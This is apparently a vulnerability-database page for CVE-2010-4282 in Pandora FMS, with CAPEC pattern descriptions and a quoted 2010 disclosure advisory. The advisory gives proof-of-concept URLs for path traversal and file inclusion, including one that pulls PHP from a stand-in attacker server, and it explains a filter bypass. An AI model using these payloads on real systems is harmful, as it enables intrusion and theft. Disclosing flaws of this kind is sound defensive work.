Vulnerabilities > CVE-2010-4282 - Path Traversal vulnerability in Artica Pandora FMS

Attack vector
Attack complexity
Privileges required
Confidentiality impact
Integrity impact
Availability impact
low complexity
exploit available


Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.


descriptionPandora Fms <= 3.1 Path Traversal and LFI. CVE-2010-4281,CVE-2010-4282,CVE-2010-4283. Webapps exploit for php platform
last seen2016-02-01
reporterJuan Galiana Lara
titlePandora Fms <= 3.1 Path Traversal and LFI


data source
last seen2016-12-05
reporterJuan Galiana Lara
titlePandora FMS Command Injection / SQL Injection / Path Traversal


description[+] Introduction Pandora FMS (for Pandora Flexible Monitoring System) is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applications and hardware systems such as firewalls, proxies, databases, web servers or routers. It can be deployed in almost any operating system. It features remote monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use agents. An agent is available for each platform. It can also monitor hardware systems with a TCP/IP stack, such as load balancers, routers, network switches, printers or firewalls. This software has several servers that process and get information from different sources, using WMI for gathering remote Windows information, a predictive server, a plug-in server which makes complex user-defined network tests, an advanced export server to replicate data between different sites of Pandora FMS, a network discovery server, and an SNMP Trap console. Released under the terms of the GNU General Public License, Pandora FMS is free software. 5) Path Traversal: 5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) - CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10 Parameter 'page' of ajax.php is not properly sanitizing user-supplied input. The function safe_url_extraclean is filtering ':' character, and it doesn't allow to use the string "http://"; to create urls, but allows '/' character and an attacker could reference remote resources via Windows UNC files, using //servername//resource/file Note that the first check in safe_url_extraclean is filtering '://', so we can bypass the filter easily doing http://http://url, and it only strip the first protocol://. However, the last preg_replace strips the : character. Proof of concept: UNC: http://servername/pandora_console/ajax.php?page=//server/share/test As well, ajax.php allows to include any php file in the disk filesystem: http://servername/pandora_console/ajax.php?page=../../../../../directory/file Character %00 is not allowed due safe_url_extraclean function filtering, and is not possible to include other files distinct that php files, but still allows . and / characters. 5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283 - - CVSS 7.9/10 An attacker can inject arbitrary PHP code and execute it remotely due argv[1] parameter is not filtered in file pandora_diag.php. PoC: http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00 Note: that issue needs register_globals set to On to be exploitable. 5.3 - Path traversal & Local file inclusion vulnerabilities - CVE-2010-4282 - CVSS 6.8/10 An attacker can include arbitrary files of the filesystem via id parameter in file pandora_help.php. Snippet of vulnerable code: 24 $id = get_parameter ('id'); 25 26 /* Possible file locations */ 27 $files = array ($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php", 28 $config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php", 29 $config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php", 30 $config["homedir"]."/include/help/en/help_".$id.".php"); 31 $help_file = ''; 32 foreach ($files as $file) { 33 if (file_exists ($file)) { 34 $help_file = $file; 35 break; 36 } 37 } ... 62 require_once ($help_file); Proof of concept: http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00 This code is platform dependent bug, you can read more at Only works in windows systems, an attacker can include local file using ../ characters due parameter id is not filtered If magic_quotes_gpc is Off, arbitrary files can be included, like boot.ini using NULL character (%00), if not, only php files are allowed 5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282 - - CVSS 8.0/10 In file operation/agentes/networkmap.php the 'layout' parameter is handled in an insecure way and it is used to write and delete files on the filesystem. An attacker could use this parameter to write in arbitrary paths and even remove files. Snippet of vulnerable code: 32 $layout = (string) get_parameter ('layout', 'radial'); ... 137 $filename_map = $config["attachment_store"]."/networkmap_".$layout; 138 $filename_img = "attachment/networkmap_".$layout."_".$font_size; 139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout; ... 157 $fh = @fopen ($filename_dot, 'w'); 158 if ($fh === false) { 159 $result = false; 160 } else { 161 fwrite ($fh, $graph); 162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng - -o".$filename_img." ".$filename_dot; 163 $result = system ($cmd); 164 fclose ($fh); 165 unlink ($filename_dot); 166 } ... 178 require ($filename_map); Character sequences '../' could be used to write files (due -o parameter in lines 162 and 163), as well as potentially remove files (line 157, 161 and 165) or include them (line 178) As well like in 5.3 this issue is only exploitable in windows environments because the same reason. [+] Impact An attacker can execute commands of the operating system, inject remote code in the context of the application, get arbitrary files from the filesystem or extract any data of the database including passwords and confidential information about the monitored network/systems. Also it is possible to bypass the authentication or scale privileges to became admin, gaining full control of the web application and web server. These vulnerabilities have a high impact to the confidentiality, integrity, and availability of the system. [+] Systems affected Versions prior and including 3.1 of Pandora FMS are affected [+] Solution Apply the security fix for version 3.1: Or upgrade to version 3.1.1 from [+] Timeline Ago 2010: First contact to vendor Ago 2010: Confirmation of vendor Sept 2010: Second contact: SQL Injection vulnerabilities Sept 2010: Confirmation that the fix will be released on October Oct 2010: PandoraFMS security patch for 3.1 version released Oct 2010: Request for CVE numbers Nov 2010: PandoraFMS version 3.1.1 released Nov 2010: Disclosure of this advisory [+] References Official PandoraFMS site: SourceForge PandoraFMS site: Wikipedia entry about PandoraFMS: Common Vulnerability Scoring System (CVSS) v2 calculator: Common Vulnerabilities and Exposures (CVE): [+] Credits These vulnerabilities has been discovered by Juan Galiana Lara - @jgaliana - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iQIcBAEBAgAGBQJM9NctAAoJEJaV5RMdiDI7cTMP/jzyDB8hcuTGYy+hHnehx0Fy YbVmWTMCUhIHZ6Y6ke1xLbFf0itFm/tMSvqC/20cAKC0x+QEmEVoSJPerT+Fc/3s IVjIEMxBbaKNM6inAElng5BzC0MTOjI+njtpF7pmLaIFBy8C77+u/LNrSM7tucy9 WIx6ILVGSO0LY5vfgwdRAcJow6p/wn50U4Ur2XOVZ/X10Gbsb+9qMd4+q1d87Cw4 cC+mqTefLeP8FNh6PB2tJpdpQqJ3R2G8719fHgmDm/5SVBkoXZRhjHKokR9+wtzP JPJWP3z1Zt+Wtn3+ANakDItBenbgafM2lMe0tkiy9LoQKMKepibLqOf9xfrKqTnP 8CRffcV8nLorGBoKk7UKVb3I14llt34cu+Vcx2+WgDz37hXV1iK7pufGuFxVVRE4 7etidHR9n7gO1WPbLmrKq4rrR02zhYnAHsGwjtFQId3ufRGSBTno3yNHFj1j0EvH pARhwbRtjIiSk8JF3TjeTswGMpCIItpQ051K4Bcpbtzte7fX05CLoaF6xyJBJlS5 yNuxaBnGZYVOvUd+emosH+5ngW7Qk8/wXljx2OyVOu6ip75UZ277MRLBJvlq+NC4 oBllQOzv521fd5hkgYEQ8VZQgWCzbeRTuh+t4z+MUHKTQlcE2I0ba9C6xdn0nkZF sn9vRJk4gc/PozOXDjC3 =WmOh -----END PGP SIGNATURE-----
last seen2017-11-19
titlePandora FMS <= 3.1 Path Traversal and LFI